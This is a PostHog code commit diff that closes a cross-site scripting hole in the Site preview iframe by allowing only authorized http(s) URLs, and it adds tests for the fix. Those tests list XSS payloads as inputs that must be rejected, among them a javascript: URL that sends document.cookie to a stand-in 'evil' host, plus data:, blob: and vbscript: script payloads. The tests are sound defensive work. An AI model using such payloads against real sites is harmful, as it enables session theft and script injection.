:hedgehog: PostHog is the leading platform for building self-driving products. Our developer tools – AI observability, analytics, session replay, flags, experiments, error tracking, logs, and more – capture all the context agents need to diagnose problems, uncover opportunities, and ship fixes. Steer it all from Slack, web, desktop, or the MCP.
Python ab-testingai-analyticsanalyticscdpdata-warehouseexperimentsfeature-flagsjavascriptproduct-analyticspythonreactsession-replaysurveystypescriptweb-analytics
fix(sites): validate site preview URL before rendering (#61019)
Tom Piccirello559353a697b0
diff --git a/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.test.ts b/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.test.tsindex ec369cfe048d..beec302a0688 100644--- a/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.test.ts+++ b/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.test.ts@@ -15,6 +15,7 @@ import {appEditorUrl,authorizedUrlListLogic,checkUrlIsAuthorized,+ checkUrlIsSafeToFrame,directToolbarUrl,filterNotAuthorizedUrls,validateProposedUrl,@@ -128,6 +129,9 @@ describe('the authorized urls list logic', () => {// www-equivalence both directions{ url: 'https://example.com', authorized: ['https://www.example.com'], expected: true },{ url: 'https://www.example.com', authorized: ['https://example.com'], expected: true },+ // Protocol must match: an http origin must not match an https-only authorized entry+ { url: 'http://example.com', authorized: ['https://example.com'], expected: false },+ { url: 'http://www.example.com', authorized: ['https://example.com'], expected: false },// wildcard subdomains and ports{ url: 'https://app.example.com', authorized: ['https://*.example.com'], expected: true },{ url: 'https://a.b.example.com', authorized: ['https://*.example.com'], expected: true },@@ -358,6 +362,40 @@ describe('the authorized urls list logic', () => {})})+ describe('checkUrlIsSafeToFrame', () => {+ const authorizedUrls = ['https://example.com', 'https://*.allowed.com', 'http://localhost:*']++ const testCases: { url: string; safe: boolean }[] = [+ // Authorized http(s) URLs are safe to frame+ { url: 'https://example.com', safe: true },+ { url: 'https://example.com/some/path', safe: true },+ { url: 'https://app.allowed.com', safe: true },+ { url: 'http://localhost:3000', safe: true },+ // Authorized host but a dangerous scheme must still be rejected+ { url: 'javascript:alert(document.domain)', safe: false },+ { url: 'javascript:fetch("//evil?"+document.cookie)//', safe: false },+ { url: 'data:text/html,<script>alert(1)</script>', safe: false },+ { url: 'blob:https://example.com/uuid', safe: false },+ { url: 'vbscript:msgbox(1)', safe: false },+ { url: 'JavaScript:alert(1)', safe: false },+ { url: ' javascript:alert(1)', safe: false },+ // Valid scheme but origin is not authorized+ { url: 'https://evil.example.net', safe: false },+ { url: 'https://example.org', safe: false },+ // Degenerate inputs fail closed+ { url: '', safe: false },+ { url: 'not-a-url', safe: false },+ ]++ it.each(testCases)('treats "$url" as safe=$safe to frame', ({ url, safe }) => {+ expect(checkUrlIsSafeToFrame(url, authorizedUrls)).toBe(safe)+ })++ it('is unsafe when no URLs are authorized', () => {+ expect(checkUrlIsSafeToFrame('https://example.com', [])).toBe(false)+ })+ })+describe('filterNotAuthorizedUrls', () => {const testUrls: SuggestedDomain[] = [{ url: 'https://1.wildcard.com', count: 1 },diff --git a/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.ts b/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.tsindex 2bbc4ceb6850..54fab69f8c1b 100644--- a/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.ts+++ b/frontend/src/lib/components/AuthorizedUrlList/authorizedUrlListLogic.ts@@ -219,8 +219,12 @@ export const checkUrlIsAuthorized = (url: string | URL, authorizedUrls: string[]if (authorizedUrlParsed.protocol + '//' + authorizedUrlParsed.host === urlWithoutPath) {return true}- // www-equivalence: compare hostnames with www. stripped- return stripWww(authorizedUrlParsed.hostname) === hostNormalized+ // www-equivalence: same protocol, hostnames equal with www. stripped. The protocol+ // check keeps an http origin from matching an https-only authorized entry.+ return (+ authorizedUrlParsed.protocol === parsedUrl.protocol &&+ stripWww(authorizedUrlParsed.hostname) === hostNormalized+ )} catch {return false}@@ -232,6 +236,16 @@ export const checkUrlIsAuthorized = (url: string | URL, authorizedUrls: string[]return false}+/**+ * Schemes allowed to be rendered in the Site preview iframe. That iframe runs with+ * `allow-scripts allow-same-origin`, so a `javascript:`/`data:`/`blob:` src would execute in the+ * PostHog origin. Only ever frame an http(s) URL the team has explicitly authorized.+ */+const FRAMEABLE_URL_SCHEME = /^https?:\/\//i++export const checkUrlIsSafeToFrame = (url: string, authorizedUrls: string[]): boolean =>+ FRAMEABLE_URL_SCHEME.test(url) && checkUrlIsAuthorized(url, authorizedUrls)+export interface SuggestedDomain {url: stringcount: number@@ -557,6 +571,13 @@ export const authorizedUrlListLogic = kea<authorizedUrlListLogicType>([return checkUrlIsAuthorized(url, authorizedUrls)},],++ checkUrlIsSafeToFrame: [+ (s) => [s.authorizedUrls],+ (authorizedUrls) => (url: string) => {+ return checkUrlIsSafeToFrame(url, authorizedUrls)+ },+ ],}),urlToAction(({ actions }) => ({[urls.toolbarLaunch()]: (_, searchParams) => {diff --git a/frontend/src/scenes/sites/Site.test.tsx b/frontend/src/scenes/sites/Site.test.tsxnew file mode 100644index 000000000000..dc94d599f213--- /dev/null+++ b/frontend/src/scenes/sites/Site.test.tsx@@ -0,0 +1,64 @@+import '@testing-library/jest-dom'++import { render } from '@testing-library/react'+import { Provider } from 'kea'++import {+ AuthorizedUrlListType,+ authorizedUrlListLogic,+ defaultAuthorizedUrlProperties,+} from 'lib/components/AuthorizedUrlList/authorizedUrlListLogic'++import { useMocks } from '~/mocks/jest'+import { initKeaTests } from '~/test/init'++import { Site } from './Site'++describe('Site preview scene', () => {+ beforeEach(() => {+ useMocks({+ post: {+ '/api/environments/:team_id/query/': [200, { results: [] }],+ },+ })+ initKeaTests()+ const logic = authorizedUrlListLogic({+ ...defaultAuthorizedUrlProperties,+ type: AuthorizedUrlListType.TOOLBAR_URLS,+ })+ logic.mount()+ // Deterministic authorized list, independent of mock-team load timing+ logic.actions.setAuthorizedUrls(['https://example.com', 'https://*.allowed.com'])+ })++ const renderSite = (url: string): HTMLElement => {+ const { container } = render(+ <Provider>+ <Site url={url} />+ </Provider>+ )+ return container+ }++ it('renders the preview iframe for an authorized https URL', () => {+ const iframe = renderSite('https://example.com').querySelector('iframe')+ expect(iframe).not.toBeNull()+ expect(iframe?.getAttribute('src')).toContain('https://example.com')+ })++ it('renders the preview iframe for an authorized wildcard subdomain', () => {+ const iframe = renderSite('https://app.allowed.com').querySelector('iframe')+ expect(iframe).not.toBeNull()+ })++ it.each([+ ['javascript: scheme', 'javascript:alert(document.domain)//'],+ ['data: scheme', 'data:text/html,<script>alert(1)</script>'],+ ['vbscript: scheme', 'vbscript:msgbox(1)'],+ ['unauthorized https origin', 'https://evil.example.net'],+ ['empty url', ''],+ ])('does not render an iframe for %s', (_label, url) => {+ const iframe = renderSite(url).querySelector('iframe')+ expect(iframe).toBeNull()+ })+})diff --git a/frontend/src/scenes/sites/Site.tsx b/frontend/src/scenes/sites/Site.tsxindex 4fb38706c70d..6dbd483c93f9 100644--- a/frontend/src/scenes/sites/Site.tsx+++ b/frontend/src/scenes/sites/Site.tsx@@ -7,7 +7,10 @@ import {authorizedUrlListLogic,defaultAuthorizedUrlProperties,} from 'lib/components/AuthorizedUrlList/authorizedUrlListLogic'+import { NotFound } from 'lib/components/NotFound'+import { SpinnerOverlay } from 'lib/lemon-ui/Spinner'import { SceneExport } from 'scenes/sceneTypes'+import { teamLogic } from 'scenes/teamLogic'import { SiteLogicProps, siteLogic } from './siteLogic'@@ -18,12 +21,30 @@ export const scene: SceneExport<SiteLogicProps> = {}export function Site({ url }: SiteLogicProps): JSX.Element {- const { launchUrl } = useValues(+ const { launchUrl, checkUrlIsSafeToFrame } = useValues(authorizedUrlListLogic({ ...defaultAuthorizedUrlProperties, type: AuthorizedUrlListType.TOOLBAR_URLS }))+ const { currentTeamLoading } = useValues(teamLogic)const decodedUrl = decodeURIComponent(url || '')+ // Authorized URLs are populated from the team, so until it loads we can't tell whether the URL+ // is allowed — show a spinner rather than briefly flashing the NotFound error to a valid link.+ if (currentTeamLoading) {+ return <SpinnerOverlay sceneLevel />+ }++ // The iframe runs with `allow-scripts allow-same-origin`, so anything loaded into it can reach+ // the PostHog app. Only render URLs the team has authorized, and never non-http(s) schemes.+ if (!checkUrlIsSafeToFrame(decodedUrl)) {+ return (+ <NotFound+ object="site preview"+ caption="This URL can't be previewed. Site previews are only available for domains added to your project's authorized URLs."+ />+ )+ }+return (<iframeclassName="Site"